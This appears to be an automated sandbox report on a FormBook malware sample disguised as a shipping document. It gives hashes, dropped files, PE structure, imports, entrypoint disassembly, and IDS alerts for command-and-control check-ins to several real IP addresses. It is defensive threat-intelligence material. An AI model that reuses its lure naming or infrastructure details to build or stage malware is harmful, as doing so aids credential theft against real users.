	BCNFNjvJNq.exe	Get hash	malicious	ADWIND, Lokibot, Ramnit, Sality	Browse	204.11.56.48
	Jsn496Em5T.exe	Get hash	malicious	FormBook	Browse	66.81.203.135
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	199.191.50.83
	5AFlyarMds.exe	Get hash	malicious	Simda Stealer	Browse	199.191.50.83

Process:	C:\Windows\SysWOW64\netbtugc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ramada

Download File

Process:	C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.995430162645649
Encrypted:	true
SSDEEP:	6144:4jk++vBTV4FUfb9mKydXwr3s5gZJQEj87FvtgQ3o3QuLeC3:hBvBTV4Gfb91SwYgZj87n3o3QQ
MD5:	C0B7D225D31BA2653AEF8F8EC8598FEF
SHA1:	31A499385D24C8E112ED717723D2316BDFABE2DC
SHA-256:	1EB42C56A454BD83B0D20D2B3551ACC9E8B9DDDB973BDE7798CC738FA53E9FB5
SHA-512:	BF66564984C49E3798C5A83DA09CCC4C6E0FB60F38E45DC77901A7339C1D5080E055BAE64CA6451AF71B12369C709690F6C9C09F25F771165E95CCB7E00A543A
Malicious:	false
Reputation:	low
Preview:	...a.QY1T...1....t.NH..e7_...F3ZQY1TECX8A2F1HBNKNWLM4WEYWF3.QY1ZZ.V8.;...C..o.$$Gw5+8!A;<yR5+-7LaP#.:7 k'9l.{.e48"Vt\T;pECX8A2FHIK.v.0.pT0.d7!.@...n%$."..(%.Q...qT0..>%[g1>.TECX8A2Fa.BN.OVL...YWF3ZQY1.EAY3@9F1.FNKNWLM4WE9CF3ZAY1T5GX8ArF1XBNKLWLK4WEYWF3\QY1TECX816F1JBNKNWLO4..YWV3ZAY1TESX8Q2F1HBN[NWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX.5W>EHBN..SLM$WEY.B3ZAY1TECX8A2F1HBNkNW,M4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBN

C:\Users\user\AppData\Local\Temp\aut490B.tmp

Download File

Process:	C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.995430162645649
Encrypted:	true
SSDEEP:	6144:4jk++vBTV4FUfb9mKydXwr3s5gZJQEj87FvtgQ3o3QuLeC3:hBvBTV4Gfb91SwYgZj87n3o3QQ
MD5:	C0B7D225D31BA2653AEF8F8EC8598FEF
SHA1:	31A499385D24C8E112ED717723D2316BDFABE2DC
SHA-256:	1EB42C56A454BD83B0D20D2B3551ACC9E8B9DDDB973BDE7798CC738FA53E9FB5
SHA-512:	BF66564984C49E3798C5A83DA09CCC4C6E0FB60F38E45DC77901A7339C1D5080E055BAE64CA6451AF71B12369C709690F6C9C09F25F771165E95CCB7E00A543A
Malicious:	false
Reputation:	low
Preview:	...a.QY1T...1....t.NH..e7_...F3ZQY1TECX8A2F1HBNKNWLM4WEYWF3.QY1ZZ.V8.;...C..o.$$Gw5+8!A;<yR5+-7LaP#.:7 k'9l.{.e48"Vt\T;pECX8A2FHIK.v.0.pT0.d7!.@...n%$."..(%.Q...qT0..>%[g1>.TECX8A2Fa.BN.OVL...YWF3ZQY1.EAY3@9F1.FNKNWLM4WE9CF3ZAY1T5GX8ArF1XBNKLWLK4WEYWF3\QY1TECX816F1JBNKNWLO4..YWV3ZAY1TESX8Q2F1HBN[NWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX.5W>EHBN..SLM$WEY.B3ZAY1TECX8A2F1HBNkNW,M4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBNKNWLM4WEYWF3ZQY1TECX8A2F1HBN

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.260050940909476
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SHIPPING DOC MBL+HBL.exe
File size:	1'280'512 bytes
MD5:	e57f3cdd911cbaf924bf1e6e7dcc7795
SHA1:	eba646965b6549a2cc716c20f128d989cd192f50
SHA256:	61b3a4a9ae0b5189dd42a97b9c680e3787d9d3da3b481701e5795d16480141b1
SHA512:	8692f8951faac03450c36112dd2627e557b827f86c3bcfe21749ffb2e54f145a284e9e7c1ac1a891c97b995862aa12014d2f0c0fc9597c296c3c673e5da2dc22
SSDEEP:	24576:4Cdxte/80jYLT3U1jfsWarjhjvXZrPWEckImNQ:Rw80cTsjkWar5lOXkk
TLSH:	F455CF2273DDC371CB669173BF6AB7016EBF78610630B85B2F880D7DA950162162DB63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427f4a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E37C1B [Thu Sep 12 23:41:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FEFE91C946Dh
jmp 00007FEFE91BC234h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FEFE91BC3BAh
cmp edi, eax
jc 00007FEFE91BC71Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FEFE91BC3B9h
rep movsb
jmp 00007FEFE91BC6CCh
cmp ecx, 00000080h
jc 00007FEFE91BC584h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FEFE91BC3C0h
bt dword ptr [004BE324h], 01h
jc 00007FEFE91BC890h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FEFE91BC55Dh
test edi, 00000003h
jne 00007FEFE91BC56Eh
test esi, 00000003h
jne 00007FEFE91BC54Dh
bt edi, 02h
jnc 00007FEFE91BC3BFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FEFE91BC3C3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FEFE91BC415h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x700d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x138000	0x7130	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dd2e	0x8de00	c2c2260508750422d20cd5cbb116b146	False	0.5729952505506608	data	6.675875439961112	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	4513b58651e3d8d87c81a396e5b2f1d1	False	0.3353340955284553	OpenPGP Public Key	5.760731648769018	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	c2de4a3d214eae7e87c7bfc06bd79775	False	0.1017530487804878	data	1.1988106744719143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x700d4	0x70200	e42f17cc5c9fefad7202dd641b373321	False	0.9411253658026756	data	7.922366333206114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x138000	0x7130	0x7200	1254908a9a03d2bcf12045d49cd572b9	False	0.7703536184210527	data	6.782377328042204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x67339	data			1.000321731292863
RT_GROUP_ICON	0x136af4	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x136b6c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x136b80	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x136b94	0x14	data	English	Great Britain	1.25
RT_VERSION	0x136ba8	0x13c	data	English	Great Britain	0.5791139240506329
RT_MANIFEST	0x136ce4	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-14T11:11:12.968205+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49737	3.33.130.190	80	TCP
2024-09-14T11:11:29.516502+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49738	18.139.62.226	80	TCP
2024-09-14T11:11:32.059029+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49739	18.139.62.226	80	TCP
2024-09-14T11:11:34.612983+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49740	18.139.62.226	80	TCP
2024-09-14T11:11:37.124367+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49741	18.139.62.226	80	TCP
2024-09-14T11:11:42.992237+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49742	66.81.203.10	80	TCP
2024-09-14T11:11:45.518035+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49743	66.81.203.10	80	TCP
2024-09-14T11:11:48.128716+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49744	66.81.203.10	80	TCP
2024-09-14T11:11:50.612929+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49745	66.81.203.10	80	TCP
2024-09-14T11:11:57.285087+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49746	103.42.108.46	80	TCP
2024-09-14T11:11:59.884516+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49747	103.42.108.46	80	TCP
2024-09-14T11:12:02.431525+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49748	103.42.108.46	80	TCP
2024-09-14T11:12:04.990794+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49749	103.42.108.46	80	TCP
2024-09-14T11:12:11.113126+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49750	3.33.130.190	80	TCP
2024-09-14T11:12:14.599655+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49751	3.33.130.190	80	TCP
2024-09-14T11:12:16.217823+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49752	3.33.130.190	80	TCP
2024-09-14T11:12:18.771437+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49753	3.33.130.190	80	TCP
2024-09-14T11:12:32.486159+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49754	199.59.243.226	80	TCP
2024-09-14T11:12:35.042182+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49755	199.59.243.226	80	TCP
2024-09-14T11:12:37.822272+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49756	199.59.243.226	80	TCP
2024-09-14T11:12:40.145807+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49757	199.59.243.226	80	TCP
2024-09-14T11:12:45.819857+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49758	162.0.239.141	80	TCP
2024-09-14T11:12:48.348923+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49759	162.0.239.141	80	TCP
